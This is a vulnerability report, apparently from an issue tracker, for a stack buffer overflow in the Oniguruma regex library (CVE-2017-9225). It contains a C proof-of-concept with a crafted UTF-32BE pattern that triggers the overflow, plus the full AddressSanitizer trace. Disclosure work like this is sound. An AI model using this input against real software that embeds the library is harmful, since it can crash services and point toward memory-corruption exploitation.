Buffer Overflow in onigenc_unicode_get_case_fold_codes_by_str()

[lxxxxfdh]

This buffer overflow is found in the latest develop branch with the code:

#include <oniguruma.h>
int main() {
    regex_t *reg;
    const OnigUChar* inp = (const OnigUChar*)"\x3f\xff\x63\x7f\xff\xff\xff\xff\x4d\x22\x00\x00";
    if (onig_new
        (&reg, inp, inp+12,ONIG_OPTION_IGNORECASE , ONIG_ENCODING_UTF32_BE,
         ONIG_SYNTAX_DEFAULT, 0) == 0)
        onig_free(reg);
    return 0;
}

Error reported in asan:

 =================================================================
==1944==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc56669ea4 at pc 0x0000004483f9 bp 0x7ffc56669aa0 sp 0x7ffc56669a90
WRITE of size 4 at 0x7ffc56669ea4 thread T0
    #0 0x4483f8 in onigenc_unicode_get_case_fold_codes_by_str /home/xie/Downloads/oni/oni-asan-dev/src/unicode.c:553
    #1 0x44354b in utf32be_get_case_fold_codes_by_str /home/xie/Downloads/oni/oni-asan-dev/src/utf32_be.c:170
    #2 0x4318c5 in expand_case_fold_string /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3431
    #3 0x432279 in setup_tree /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3733
    #4 0x43c41f in onig_compile /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:5361
    #5 0x43d092 in onig_new /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:5565
    #6 0x401082 in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:5
    #7 0x7f4ca3cc682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #8 0x400ec8 in _start (/home/xie/Downloads/oni/oni-asan-dev/test/testc+0x400ec8)

Address 0x7ffc56669ea4 is located in stack of thread T0 at offset 420 in frame
    #0 0x43160b in expand_case_fold_string /home/xie/Downloads/oni/oni-asan-dev/src/regcomp.c:3411

  This frame has 3 object(s):
    [32, 40) 'prev_node'
    [96, 104) 'srem'
    [160, 420) 'items' <== Memory access at offset 420 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/xie/Downloads/oni/oni-asan-dev/src/unicode.c:553 onigenc_unicode_get_case_fold_codes_by_str
Shadow bytes around the buggy address:
  0x10000acc5380: 00 00 f4 f4 f3 f3 f3 f3 00 00 00 00 00 00 00 00
  0x10000acc5390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000acc53a0: f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4
  0x10000acc53b0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000acc53c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10000acc53d0: 00 00 00 00[04]f4 f4 f4 f3 f3 f3 f3 00 00 00 00
  0x10000acc53e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000acc53f0: 00 00 00 00 00 00 f1 f1 f1 f1 04 f4 f4 f4 f3 f3
  0x10000acc5400: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
  0x10000acc5410: f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2
  0x10000acc5420: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==1944==ABORTING

[xixabangm4]

Thanks, please use CVE-2017-9225 to reference this issue.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9225